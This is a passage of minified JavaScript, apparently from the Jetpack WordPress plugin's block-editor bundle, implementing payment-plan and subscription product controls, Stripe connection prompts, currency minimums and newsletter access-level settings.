g=(0,n.useSelect)(e=&gt;e(o.M).getProducts(s,h,m),[s,h,m]),{connectUrl:f,isApiConnected:b,areSelectedProductsInvalid:v}=(0,n.useSelect)(e=&gt;{const{getConnectUrl:t,isApiStateConnected:s,hasInvalidProducts:r}=e(o.M);return{connectUrl:t(),isApiConnected:s(),areSelectedProductsInvalid:r(h)}});if(!b)return null;const k={blockName:e,clientId:t,products:g,productType:s,selectedProductIds:h,setSelectedProductIds:m};return(0,p.jsxs)(l.o.Provider,{value:k,children:[!b&amp;&amp;!!f&amp;&amp;(0,p.jsx)(r.BlockControls,{__experimentalShareWithChildBlocks:!0,group:&quot;block&quot;,children:(0,p.jsx)(a.A,{blockName:e,connectUrl:f})}),b&amp;&amp;(0,p.jsxs)(p.Fragment,{children:[(0,p.jsx)(c.A,{}),(0,p.jsx)(d.A,{})]}),b&amp;&amp;v&amp;&amp;(0,p.jsx)(u.A,{})]})}},34666(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;v});var r=s(94715),n=s(56427),o=s(47143),a=s(86087),i=s(27723),l=s(42438),c=s(51609),u=s(16521),d=s(72730),p=s(29726),h=s(37072),m=s(1990),g=s(10790);const __=i.__,f=&quot;1 month&quot;,b=!1;function v(){const{productType:e,setSelectedProductIds:t}=(0,h.B)(),s=(0,o.useSelect)(e=&gt;e(u.M).getSiteSlug()),{saveProduct:i}=(0,o.useDispatch)(u.M),[v,k]=(0,a.useState)(p.V$),[y,x]=(0,a.useState)((0,m.W)(&quot;default new product title&quot;,e)),[j,w]=(0,a.useState)(!1),[_,C]=(0,a.useState)(&quot;USD&quot;),[A,S]=(0,a.useState)(5),[E,N]=(0,a.useState)(f),[T,B]=(0,a.useState)(b),P=[{label:__(&quot;Month&quot;,&quot;jetpack&quot;),value:&quot;1 month&quot;},{label:__(&quot;Year&quot;,&quot;jetpack&quot;),value:&quot;1 year&quot;},{label:__(&quot;One-Time Payment&quot;,&quot;jetpack&quot;),value:&quot;one-time&quot;}];return(0,c.useEffect)(()=&gt;{j||(x((0,m.G)(E)),w(!1))},[E,j]),(0,g.jsxs)(r.InspectorControls,{children:[s&amp;&amp;(0,g.jsx)(n.PanelBody,{children:(0,g.jsx)(n.ExternalLink,{href:`https://wordpress.com/earn/payments/${s}`,children:(0,m.W)(&quot;manage your products&quot;,e)})}),(0,g.jsxs)(n.PanelBody,{title:(0,m.W)(&quot;add a new product&quot;,e),initialOpen:!0,className:&quot;product-management-control-inspector__add-plan&quot;,children:[v===p.Hb&amp;&amp;(0,g.jsx)(n.Placeholder,{icon:l.A,label:(0,m.W)(&quot;saving product&quot;,e),children:(0,g.jsx)(n.Spinner,{})}),v===p.V$&amp;&amp;(0,g.jsxs)(g.Fragment,{children:[(0,g.jsx)(n.PanelRow,{className:&quot;product-management-control-inspector__product-title&quot;,children:(0,g.jsx)(n.TextControl,{id:&quot;new-product-title&quot;,label:__(&quot;Name&quot;,&quot;jetpack&quot;),onChange:e=&gt;{x(e),w(!0)},value:y,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})}),(0,g.jsxs)(n.PanelRow,{className:&quot;product-management-control-inspector__product-price&quot;,children:[(0,g.jsx)(n.SelectControl,{label:__(&quot;Currency&quot;,&quot;jetpack&quot;),onChange:e=&gt;C(e),options:d.T,value:_,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,g.jsx)(n.TextControl,{label:__(&quot;Price&quot;,&quot;jetpack&quot;),onChange:e=&gt;S(e),type:&quot;number&quot;,value:A,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})]}),(0,g.jsx)(n.PanelRow,{className:&quot;plan-interval&quot;,children:(0,g.jsx)(n.SelectControl,{label:__(&quot;Interval&quot;,&quot;jetpack&quot;),onChange:e=&gt;N(e),options:P,value:E,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})}),(0,g.jsx)(n.PanelRow,{className:&quot;custom-amount&quot;,children:(0,g.jsx)(n.ToggleControl,{label:__(&quot;Enable customers to pick their own amount&quot;,&quot;jetpack&quot;),onChange:e=&gt;B(e),checked:T,__nextHasNoMarginBottom:!0})}),(0,g.jsx)(n.PanelRow,{children:(0,g.jsx)(n.ExternalLink,{href:&quot;https://wordpress.com/support/wordpress-editor/blocks/payments/#related-fees&quot;,children:__(&quot;Read more about Payments and related fees.&quot;,&quot;jetpack&quot;)})}),(0,g.jsx)(n.PanelRow,{children:(0,g.jsx)(n.Button,{onClick:s=&gt;{s.preventDefault(),k(p.Hb),i({title:y,currency:_,price:A,interval:E,type:null,buyer_can_change_amount:T,is_editable:!0},e,t,e=&gt;{k(p.V$),e&amp;&amp;(S(5),w(!1),N(f),B(b),C(&quot;USD&quot;))})},variant:&quot;secondary&quot;,children:(0,m.W)(&quot;add product&quot;,e)})})]})]})]})}},69095(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(94715),n=s(13109),o=s(84699),a=s(37072),i=s(1990),l=s(10790);function c(){const{productType:e}=(0,a.B)();return(0,l.jsx)(r.Warning,{className:&quot;product-management-control-nudge&quot;,children:(0,l.jsxs)(&quot;span&quot;,{className:&quot;product-management-control-nudge__info&quot;,children:[(0,l.jsx)(n.A,{icon:o.A}),(0,l.jsxs)(&quot;span&quot;,{className:&quot;product-management-control-nudge__text-container&quot;,children:[(0,l.jsx)(&quot;span&quot;,{className:&quot;product-management-control-nudge__title&quot;,children:(0,i.W)(&quot;invalid product configured for this block&quot;,e)}),(0,l.jsx)(&quot;span&quot;,{className:&quot;product-management-control-nudge__message&quot;,children:(0,i.W)(&quot;the button will be hidden from your visitors until you select a valid product&quot;,e)})]})]})})}},12788(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;y});var r=s(54268),n=s(94715),o=s(56427),a=s(47143),i=s(27723),l=s(84699),c=s(88901),u=s(60484),d=s(16521),p=s(59340),h=s(37072),m=s(21212),g=s(1990),f=s(10790);const __=i.__;function b(e){const{currency:t,interval:s,price:n}=e,o=(0,r.vv)(parseFloat(n),t);switch(s){case&quot;1 month&quot;:return(0,i.sprintf)(
// translators: %s: amount
__(&quot;%s / month&quot;,&quot;jetpack&quot;),o);case&quot;1 year&quot;:return(0,i.sprintf)(
// translators: %s: amount
__(&quot;%s / year&quot;,&quot;jetpack&quot;),o);case&quot;one-time&quot;:return o}return(0,i.sprintf)(
// translators: %1$s: formatted price, %2$s: plan interval
__(&quot;%1$s / %2$s&quot;,&quot;jetpack&quot;),o,s)}function v({onClose:e,product:t}){const{selectedProductIds:s,setSelectedProductIds:r}=(0,h.B)(),{id:n,title:a}=t,i=s&amp;&amp;s.includes(n),l=i?c.A:void 0,u=t?&quot; &quot;+b(t):null;return(0,f.jsxs)(o.MenuItem,{icon:l,onClick:t=&gt;{t.preventDefault();const o=i?s.filter(e=&gt;e!==n):[...s,n];r(o),e()},selected:i,value:n,children:[a,&quot; : &quot;,u]})}function k({onClose:e}){const{clientId:t,productType:s}=(0,h.B)(),r=(0,a.useSelect)(e=&gt;e(d.M).getSiteSlug()),n=(0,m.A)(t);if(p.Wd===(0,p.AU)())return(0,f.jsx)(o.MenuItem,{children:r&amp;&amp;(0,f.jsx)(o.ExternalLink,{href:`https://wordpress.com/earn/payments/${r}#add-new-payment-plan`,children:(0,g.W)(&quot;add a new product&quot;,s)})});return(0,f.jsx)(o.MenuItem,{onClick:t=&gt;{t.preventDefault(),n(),setTimeout(()=&gt;{const e=document.getElementById(&quot;new-product-title&quot;);null!==e&amp;&amp;e.focus()},100),e()},children:(0,g.W)(&quot;add a new product&quot;,s)})}function y(){const{products:e,productType:t,selectedProductIds:s}=(0,h.B)(),r=(0,a.useSelect)(e=&gt;e(d.M).getSelectedProducts(s),[s]);let i=null,c=u.A;return r.length&gt;1?i=__(&quot;Multiple products selected&quot;,&quot;jetpack&quot;):1===r.length&amp;&amp;(i=b(r[0])),r.length!=r.length&amp;&amp;(i=(0,g.W)(&quot;product not found&quot;,t),c=l.A),(0,f.jsx)(n.BlockControls,{__experimentalShareWithChildBlocks:!0,group:&quot;block&quot;,children:(0,f.jsx)(o.ToolbarDropdownMenu,{className:&quot;product-management-control-toolbar__dropdown-button&quot;,icon:c,label:(0,g.W)(&quot;select a product&quot;,t),text:i,children:({onClose:t})=&gt;(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)(o.MenuGroup,{children:e.map(e=&gt;(0,f.jsx)(v,{onClose:t,product:e},e.id))}),(0,f.jsx)(o.MenuGroup,{children:(0,f.jsx)(k,{onClose:t})})]})})})}},21212(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(94715),n=s(47143),o=s(14309),a=s(59340);function i(e){const t=(0,a.AU)(),{selectBlock:s}=(0,n.useDispatch)(r.store),{enableComplementaryArea:i}=(0,n.useDispatch)(&quot;core/interface&quot;),{closePublishSidebar:l}=(0,n.useDispatch)(o.store);return()=&gt;{switch(e&amp;&amp;s(e),t){case a.O3:return i(&quot;core/edit-site&quot;,&quot;edit-site/block-inspector&quot;);case a.RZ:return i(&quot;core/edit-widgets&quot;,&quot;edit-widgets/block-inspector&quot;);default:l(),i(&quot;core/edit-post&quot;,&quot;edit-post/block&quot;)}}}},1990(e,t,s){&quot;use strict&quot;;s.d(t,{G:()=&gt;l,W:()=&gt;a});var r=s(27723),n=s(29726);const __=r.__,o={&quot;add a new product&quot;:{[n._$]:__(&quot;Add a new payment plan&quot;,&quot;jetpack&quot;),[n.h5]:__(&quot;Add a new subscription&quot;,&quot;jetpack&quot;)},&quot;product not found&quot;:{[n._$]:__(&quot;Payment plan not found&quot;,&quot;jetpack&quot;),[n.h5]:__(&quot;Subscription not found&quot;,&quot;jetpack&quot;)},&quot;select a product&quot;:{[n._$]:__(&quot;Select a payment plan&quot;,&quot;jetpack&quot;),[n.h5]:__(&quot;Select a subscription&quot;,&quot;jetpack&quot;)},&quot;default new product title&quot;:{[n._$]:__(&quot;Monthly Subscription&quot;,&quot;jetpack&quot;),[n.h5]:__(&quot;Monthly Subscription&quot;,&quot;jetpack&quot;)},&quot;manage your products&quot;:{[n._$]:__(&quot;Manage your payment plans.&quot;,&quot;jetpack&quot;),[n.h5]:__(&quot;Manage your subscriptions.&quot;,&quot;jetpack&quot;)},&quot;saving product&quot;:{[n._$]:__(&quot;Saving payment plan…&quot;,&quot;jetpack&quot;),[n.h5]:__(&quot;Saving subscription…&quot;,&quot;jetpack&quot;)},&quot;add product&quot;:{[n._$]:__(&quot;Add payment plan&quot;,&quot;jetpack&quot;),[n.h5]:__(&quot;Add subscription&quot;,&quot;jetpack&quot;)},&quot;product requires a name&quot;:{[n._$]:__(&quot;Payment plan requires a name&quot;,&quot;jetpack&quot;),[n.h5]:__(&quot;Subscription requires a name&quot;,&quot;jetpack&quot;)},&quot;product requires a valid price&quot;:{[n._$]:__(&quot;Payment plan requires a valid price&quot;,&quot;jetpack&quot;),[n.h5]:__(&quot;Subscription requires a valid price&quot;,&quot;jetpack&quot;)},&quot;successfully created product&quot;:{[n._$]:__(&quot;Successfully created payment plan&quot;,&quot;jetpack&quot;),[n.h5]:__(&quot;Successfully created subscription&quot;,&quot;jetpack&quot;)},&quot;there was an error when adding the product&quot;:{[n._$]:__(&quot;There was an error when adding the payment plan.&quot;,&quot;jetpack&quot;),[n.h5]:__(&quot;There was an error when adding the subscription.&quot;,&quot;jetpack&quot;)},&quot;invalid product configured for this block&quot;:{[n._$]:__(&quot;Invalid payment plan configured for this block.&quot;,&quot;jetpack&quot;),[n.h5]:__(&quot;Invalid subscription configured for this block.&quot;,&quot;jetpack&quot;)},&quot;the button will be hidden from your visitors until you select a valid product&quot;:{[n._$]:__(&quot;The button will be hidden from your visitors until you select a valid payment plan.&quot;,&quot;jetpack&quot;),[n.h5]:__(&quot;The subscribe button will be hidden from your visitors until you select a valid subscription.&quot;,&quot;jetpack&quot;)},&quot;mark this product as a donation&quot;:{[n._$]:__(&quot;Mark this payment plan as a donation&quot;,&quot;jetpack&quot;),[n.h5]:__(&quot;Mark this subscription as a donation&quot;,&quot;jetpack&quot;)}};function a(e,t=n._$){return o?.[e]?.[t]||null}const i={&quot;1 month&quot;:__(&quot;Monthly Subscription&quot;,&quot;jetpack&quot;),&quot;1 year&quot;:__(&quot;Yearly Subscription&quot;,&quot;jetpack&quot;),&quot;one-time&quot;:__(&quot;Subscription&quot;,&quot;jetpack&quot;)};function l(e){return i[[e]]??&quot;&quot;}},72462(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(85985),n=s(62410),o=s(56427),a=s(27723),i=(s(80214),s(10790));const __=a.__;function l({blockName:e,connectUrl:t}){const{autosaveAndRedirect:s}=(0,r.ZR)(t),{tracks:a}=(0,r.st)();return(0,i.jsx)(o.ToolbarButton,{className:&quot;connect-stripe components-tab-button&quot;,icon:n.k7,onClick:t=&gt;{t.preventDefault(),a.recordEvent(&quot;jetpack_editor_block_stripe_connect_click&quot;,{block:e}),s(t)},children:__(&quot;Connect Stripe&quot;,&quot;jetpack&quot;)})}},53796(e,t,s){&quot;use strict&quot;;s.d(t,{V:()=&gt;p});var r=s(3924),n=s(97999),o=s(85985),a=s(47143),i=s(27723),l=s(71218),c=s(16521),u=s(11998),d=(s(82588),s(10790));const __=i.__,p=({blockName:e})=&gt;{const t=(0,a.select)(c.M).getConnectUrl(),{tracks:s}=(0,o.st)();if(!t)return null;let i;const p=(0,n.isWpcomPlatformSite)();switch(e){case&quot;payment-buttons&quot;:i=p?(0,r.A)(&quot;wpcom-support-wordpress-editor-blocks-payments-block&quot;):(0,r.A)(&quot;jetpack-support-jetpack-blocks-payments-block&quot;);break;case&quot;donations&quot;:i=p?(0,r.A)(&quot;wpcom-support-wordpress-editor-blocks-donations-block&quot;):(0,r.A)(&quot;jetpack-support-jetpack-blocks-donations-block&quot;);break;case&quot;premium-content&quot;:i=p?(0,r.A)(&quot;wpcom-support-wordpress-editor-blocks-premium-content-block&quot;):(0,r.A)(&quot;jetpack-support-jetpack-blocks-premium-content-block&quot;);break;default:i=p?(0,r.A)(&quot;wpcom-support-payments-button-block&quot;):(0,r.A)(&quot;jetpack-support-jetpack-blocks-payments-block&quot;)}return(0,d.jsx)(u.A,{className:&quot;jetpack-stripe-nudge__banner&quot;,buttonLabel:__(&quot;Connect&quot;,&quot;jetpack&quot;),icon:(0,d.jsx)(l.A,{className:&quot;jetpack-stripe-nudge__icon&quot;,size:18,&quot;aria-hidden&quot;:&quot;true&quot;,role:&quot;img&quot;,focusable:&quot;false&quot;}),href:t,readMoreUrl:i,onClick:()=&gt;s.recordEvent(&quot;jetpack_editor_block_stripe_connect_click&quot;,{block:e}),title:__(&quot;Connect to Stripe to use this block on your site&quot;,&quot;jetpack&quot;),subtitle:__(&quot;This block will be hidden from your visitors until you connect to Stripe.&quot;,&quot;jetpack&quot;)})}},72730(e,t,s){&quot;use strict&quot;;s.d(t,{C_:()=&gt;c,T:()=&gt;o,VK:()=&gt;n,Xj:()=&gt;i,dv:()=&gt;a,kF:()=&gt;l});var r=s(3975);const n={USD:.5,AUD:.5,BRL:.5,CAD:.5,CHF:.5,DKK:2.5,EUR:.5,GBP:.3,HKD:4,INR:.5,JPY:50,MXN:10,NOK:3,NZD:.5,PLN:2,SEK:3,SGD:.5},o=Object.keys(n).map(e=&gt;{const{symbol:t}=(s=e,r.y[s]||{symbol:&quot;$&quot;,decimal:&quot;.&quot;,grouping:&quot;,&quot;,precision:2});var s;var n;return{value:e,label:t===e?e:`${e} ${n=t,String(n||&quot;&quot;).replace(/\.+$/,&quot;&quot;)}`}});function a(e){return n[e]}function i(e){const t=a(e);return[10*t,30*t,200*t]}function l(e,t){return!isNaN(t)&amp;&amp;t&gt;=a(e)}function c(e,t){if(!e)return null;if(&quot;number&quot;==typeof e)return e;let s=e;return r.y[t].grouping&amp;&amp;(s=e.replace(new RegExp(&quot;\\&quot;+r.y[t].grouping,&quot;g&quot;),&quot;&quot;)),e=parseFloat(s.replace(new RegExp(&quot;\\&quot;+r.y[t].decimal,&quot;g&quot;),&quot;.&quot;)),isNaN(e)?null:e}},74490(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(56427),n=s(10790);const o=({label:e,onClick:t})=&gt;(0,n.jsx)(r.ToolbarButton,{className:&quot;components-toolbar__control&quot;,onClick:t,icon:&quot;edit&quot;,title:e,showTooltip:!0})},56539(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});const r=new Map,n=e=&gt;r.has(e),o={acquire:e=&gt;{if(n(e))return null;const t=Math.random();return r.set(e,t),[e,t]},blockExecution:async(e,t=10)=&gt;{for(;n(e);)await new Promise(e=&gt;setTimeout(e,t))},clearAll:()=&gt;r.clear(),isLocked:n,release:e=&gt;{const[t,s]=e;return!(!n(t)||r.get(t)!==s)&amp;&amp;(r.delete(t),!0)}}},333(e,t,s){&quot;use strict&quot;;s.d(t,{wc:()=&gt;a});var r=s(85985),n=s(66087);function o(){return(0,r.$i)()?.allowedMimeTypes??[]}function a(e,t){if(!e||!t)return!1;if(!o())return!1;const s=(r=t)?(0,n.pickBy)(o(),e=&gt;e.startsWith(`${r}/`)):{};var r;const a=(i=s)?Object.keys(i).map(e=&gt;e.split(&quot;|&quot;)).flat():[];var i;if(&quot;string&quot;==typeof e){const t=e.split(&quot;.&quot;).pop();return t&amp;&amp;a.includes(t)}return&quot;object&quot;==typeof e&amp;&amp;(e.type&amp;&amp;Object.values(s).includes(e.type))}},97969(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(74997);function n(...e){const t=(0,r.getCategories)();for(const s of e)if(t.some(({slug:e})=&gt;e===s))return s;throw new Error(`Could not find a category from the provided list: ${e.join(&quot;,&quot;)}`)}},27574(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(93832);function n(e,t){if(!(0,r.isURL)(t))return null;let s=t;try{const n=(0,r.getQueryArg)(t,&quot;state&quot;),o=JSON.parse(atob(n));if(e)o.from_editor_post_id=e;else{const e=new URLSearchParams(window.location.search);o.from_site_editor_post_id=e.get(&quot;postId&quot;),o.from_site_editor_post_type=e.get(&quot;postType&quot;)}s=(0,r.addQueryArgs)(t,{state:btoa(JSON.stringify(o))})}catch(e){0}return s}},59340(e,t,s){&quot;use strict&quot;;s.d(t,{AU:()=&gt;l,O3:()=&gt;n,RZ:()=&gt;o,Wd:()=&gt;i,vf:()=&gt;a});var r=s(47143);const n=&quot;site&quot;,o=&quot;widget&quot;,a=&quot;post&quot;,i=&quot;customizer&quot;,l=()=&gt;(0,r.select)(&quot;core/edit-site&quot;)?n:(0,r.select)(&quot;core/edit-widgets&quot;)?o:(0,r.select)(&quot;core/customize-widgets&quot;)?i:(0,r.select)(&quot;core/edit-navigation&quot;)?&quot;navigation&quot;:(0,r.select)(&quot;core/edit-post&quot;)?a:&quot;unknown&quot;},78218(e,t,s){&quot;use strict&quot;;s.d(t,{y:()=&gt;r});const r=(e,t)=&gt;Object.entries(t).reduce((t,[s,r])=&gt;{if(void 0===e[s])return t;const{type:n,validator:o,validValues:a,default:i}=e[s];return t[s]=&quot;boolean&quot;===n?&quot;false&quot;!==r&amp;&amp;!!r:o?o(r)?r:i:a?a.includes(r)?r:i:r,t},{})},90840(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(13022),n=s(49789),o=(s(701),s(10790));const a=({children:e=null,isError:t=!1,...s})=&gt;{const a=(0,r.A)(&quot;help-message&quot;,{&quot;help-message-is-error&quot;:t});return e&amp;&amp;(0,o.jsxs)(&quot;div&quot;,{className:a,...s,children:[t&amp;&amp;(0,o.jsx)(n.A,{size:&quot;24&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,role:&quot;img&quot;,focusable:&quot;false&quot;}),(0,o.jsx)(&quot;span&quot;,{children:e})]})}},21604(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(85985);function n(){return(0,r.$i)()?.jetpack?.is_active??!1}},13087(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(85985);function n(){return(0,r.$i)()?.jetpack?.is_offline_mode??!1}},96788(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(56427),n=s(27723),o=s(92279),a=s(90062),i=s(10790);const __=n.__,{Fill:l,Slot:c}=(0,r.createSlotFill)(&quot;JetpackLikesAndSharingPanel&quot;);(0,o.registerPlugin)(&quot;jetpack-likes-and-sharing-panel&quot;,{render:()=&gt;(0,i.jsx)(c,{children:e=&gt;e.length?(0,i.jsx)(a.A,{children:(0,i.jsx)(r.PanelBody,{className:&quot;jetpack-likes-sharing-panel&quot;,title:__(&quot;Insert likes and sharing&quot;,&quot;jetpack&quot;),initialOpen:!1,children:e})}):null})})},90062(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(62410),n=s(56427),o=s(43656),a=s(86087),i=s(92279),l=(s(2195),s(10790));const{Fill:c,Slot:u}=(0,n.createSlotFill)(&quot;JetpackPluginSidebar&quot;);(0,i.registerPlugin)(&quot;jetpack-sidebar&quot;,{render:()=&gt;(0,l.jsx)(u,{children:e=&gt;e.length?(0,l.jsxs)(a.Fragment,{children:[(0,l.jsx)(o.PluginSidebarMoreMenuItem,{target:&quot;jetpack&quot;,icon:(0,l.jsx)(r.ux,{}),children:&quot;Jetpack&quot;}),(0,l.jsx)(o.PluginSidebar,{name:&quot;jetpack&quot;,title:&quot;Jetpack&quot;,icon:(0,l.jsx)(r.ux,{}),children:e})]}):null})})},54919(e,t,s){&quot;use strict&quot;;function r(e){return e=e.toLowerCase(),&quot;&quot;===(e=[&quot;pt_br&quot;,&quot;pt-br&quot;,&quot;zh_tw&quot;,&quot;zh-tw&quot;,&quot;zh_cn&quot;,&quot;zh-cn&quot;].includes(e)?e.replace(&quot;_&quot;,&quot;-&quot;):e.replace(/([-_].*)$/i,&quot;&quot;))?&quot;en&quot;:e}s.d(t,{i:()=&gt;r})},37906(e,t,s){&quot;use strict&quot;;s.d(t,{KG:()=&gt;o,P2:()=&gt;i,a7:()=&gt;a,jr:()=&gt;n});var r=s(27723);const __=r.__,n=&quot;_jetpack_newsletter_access&quot;,o=&quot;_jetpack_dont_email_post_to_subs&quot;,a=&quot;_jetpack_newsletter_tier_id&quot;,i={everybody:{key:&quot;everybody&quot;,label:__(&quot;Everyone&quot;,&quot;jetpack&quot;),panelHeading:__(&quot;Everyone&quot;,&quot;jetpack&quot;)},subscribers:{key:&quot;subscribers&quot;,label:__(&quot;Anyone subscribed&quot;,&quot;jetpack&quot;),panelHeading:__(&quot;All subscribers&quot;,&quot;jetpack&quot;)},paid_subscribers:{key:&quot;paid_subscribers&quot;,label:__(&quot;Paid subscribers only&quot;,&quot;jetpack&quot;),panelHeading:__(&quot;Paid subscribers&quot;,&quot;jetpack&quot;)}}},42167(e,t,s){&quot;use strict&quot;;s.d(t,{I:()=&gt;a,V:()=&gt;i});var r=s(85985),n=s(3582),o=s(37906);const a=e=&gt;{const[t=[]]=(0,n.useEntityProp)(&quot;postType&quot;,e,&quot;meta&quot;);let s=t[o.jr]??o.P2.everybody.key;return s||(s=o.P2.everybody.key),s},i=()=&gt;(0,r.$i)()?.jetpack?.is_newsletter_feature_enabled??!1},11354(e,t,s){&quot;use strict&quot;;s.d(t,{EX:()=&gt;w,GG:()=&gt;_,iF:()=&gt;x,ix:()=&gt;C});var r=s(85985),n=s(54268),o=s(56427),a=s(29491),i=s(3582),l=s(47143),c=s(43656),u=s(86087),d=s(27723),p=s(13109),h=s(64524),m=s(16521),g=(s(44895),s(49452)),f=s(37906),b=s(64234),v=s(10790);const __=d.__,k=(0,r.sh)(h);function y({accessLevel:e,subscribers:t,paidSubscribers:s,postHasPaywallBlock:r=!1}){switch(t=t??0,s=s??0,f.P2[e]?.key){case f.P2.everybody.key:case f.P2.subscribers.key:return t;case f.P2.paid_subscribers.key:return r?t:s;default:return 0}}function x(){const e=(0,l.useSelect)(e=&gt;e(c.store).getCurrentPostType(),[]),[t,s]=(0,i.useEntityProp)(&quot;postType&quot;,e,&quot;meta&quot;);return e=&gt;{delete t[f.a7],s({...t,[f.jr]:e})}}function j(){const e=(0,l.useSelect)(e=&gt;e(m.M).getNewsletterTierProducts()).filter(e=&gt;&quot;1 month&quot;===e.interval).sort((e,t)=&gt;Number(t.price)-Number(e.price)),t=(0,l.useSelect)(e=&gt;e(c.store).getCurrentPostType(),[]),[{[f.a7]:s}]=(0,i.useEntityProp)(&quot;postType&quot;,t,&quot;meta&quot;),r=function(){const e=(0,l.useSelect)(e=&gt;e(c.store).getCurrentPostType(),[]),[t,s]=(0,i.useEntityProp)(&quot;postType&quot;,e,&quot;meta&quot;);return e=&gt;{s({...t,[f.a7]:e})}}();if(!(e.length&lt;2))return(0,v.jsx)(&quot;div&quot;,{className:&quot;jetpack-editor-post-tiers&quot;,children:(0,v.jsx)(o.RadioControl,{label:__(&quot;Choose Newsletter Tier&quot;,&quot;jetpack&quot;),hideLabelFromVision:!0,selected:Number(s),options:e.map(e=&gt;({label:e.title,value:Number(e.id)})),onChange:r})})}function w({accessLevel:e,hasTierPlans:t,stripeConnectUrl:s,isEditorPanel:r=!1,postHasPaywallBlock:a=!1}){const i=null===s,{totalSubscribers:c,paidSubscribers:d}=(0,l.useSelect)(e=&gt;e(m.M).getSubscriberCounts()),[p,h]=(0,u.useState)(!1),b=x(),k=y({accessLevel:f.P2.subscribers.key,subscribers:c,paidSubscribers:d}),w=y({accessLevel:f.P2.paid_subscribers.key,subscribers:c,paidSubscribers:d});return(0,v.jsxs)(&quot;fieldset&quot;,{className:&quot;jetpack-newsletter-access-radio-buttons&quot;,children:[(0,v.jsxs)(o.VisuallyHidden,{as:&quot;legend&quot;,children:[__(&quot;Access&quot;,&quot;jetpack&quot;),&quot; &quot;]}),(0,v.jsx)(o.RadioControl,{onChange:e=&gt;{f.P2.paid_subscribers.key!==e||!s&amp;&amp;t?b(e):h(!0)},options:[...a?[]:[{label:f.P2.everybody.label,value:f.P2.everybody.key}],{label:`${f.P2.subscribers.label} (${(0,n.qe)(k)})`,value:f.P2.subscribers.key},{label:`${f.P2.paid_subscribers.label} (${(0,n.qe)(w)})`,value:f.P2.paid_subscribers.key}],selected:e}),e===f.P2.paid_subscribers.key&amp;&amp;i&amp;&amp;t&amp;&amp;(0,v.jsx)(j,{}),r&amp;&amp;(0,v.jsx)(g.A,{closeDialog:()=&gt;h(!1),showDialog:p})]})}function _({accessLevel:e}){const{hasTierPlans:t,stripeConnectUrl:s,isLoading:r,foundPaywallBlock:n}=(0,l.useSelect)(e=&gt;{const{getNewsletterTierProducts:t,getConnectUrl:s,isApiStateLoading:r}=e(&quot;jetpack/membership-products&quot;),{getBlocks:n}=e(&quot;core/block-editor&quot;);return{isLoading:r(),stripeConnectUrl:s(),hasTierPlans:0!==t()?.length,foundPaywallBlock:n().find(e=&gt;e.name===h.name)}}),i=(0,l.useSelect)(e=&gt;e(c.store).getEditedPostVisibility()),{selectBlock:u}=(0,l.useDispatch)(&quot;core/block-editor&quot;),{closeGeneralSidebar:d}=(0,l.useDispatch)(&quot;core/edit-post&quot;),m=(0,a.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);if(r)return(0,v.jsx)(o.Flex,{direction:&quot;column&quot;,align:&quot;center&quot;,children:(0,v.jsx)(o.Spinner,{})});const g=e??f.P2.everybody.key,y=f.P2[g]?.label,x=(0,b.fI)(i,e);return(0,v.jsx)(c.PostVisibilityCheck,{render:({canEdit:e})=&gt;(0,v.jsxs)(v.Fragment,{children:[n&amp;&amp;(0,v.jsx)(v.Fragment,{children:(0,v.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-card&quot;,children:[(0,v.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-icon has-colors&quot;,children:(0,v.jsx)(p.A,{icon:k})}),(0,v.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-card__content&quot;,children:[(0,v.jsx)(&quot;h2&quot;,{className:&quot;block-editor-block-card__title&quot;,children:__(&quot;Paywall&quot;,&quot;jetpack&quot;)}),(0,v.jsxs)(&quot;span&quot;,{className:&quot;block-editor-block-card__description&quot;,children:[__(&quot;The content below the paywall block is exclusive to the selected audience.&quot;,&quot;jetpack&quot;),&quot; &quot;,(0,v.jsx)(o.Button,{className:&quot;edit-post-paywall-toolbar-button&quot;,onClick:()=&gt;{u(n.clientId),m&amp;&amp;d()},variant:&quot;link&quot;,children:__(&quot;Edit the block.&quot;,&quot;jetpack&quot;)})]})]})]})}),(0,v.jsxs)(o.Flex,{direction:&quot;column&quot;,children:[x&amp;&amp;(0,v.jsx)(b.mf,{}),(0,v.jsxs)(o.FlexBlock,{direction:&quot;row&quot;,justify:&quot;flex-start&quot;,children:[e&amp;&amp;(0,v.jsx)(w,{isEditorPanel:!0,accessLevel:g,stripeConnectUrl:s,hasTierPlans:t,postHasPaywallBlock:n}),!e&amp;&amp;(0,v.jsx)(&quot;span&quot;,{children:y})]})]})]})})}function C(){const e=(0,l.useSelect)(e=&gt;e(c.store).isCurrentPostPublished(),[]),t=(0,l.useSelect)(e=&gt;e(c.store).getCurrentPostType(),[]),{saveEditedEntityRecord:s}=(0,l.useDispatch)(i.store),[r,n]=(0,i.useEntityProp)(&quot;postType&quot;,t,&quot;meta&quot;),a=(0,i.useEntityId)(&quot;postType&quot;,t),u=(0,l.useSelect)(e=&gt;{const{getPostEmailSentState:t}=e(m.M);return a?t(a):null},[a]),d=null!=u?.email_sent_at,p=e=&gt;{const o={...r,[f.KG]:&quot;post-only&quot;===e};n(o),s(&quot;postType&quot;,t,a)},h=(0,l.useSelect)(e=&gt;{const 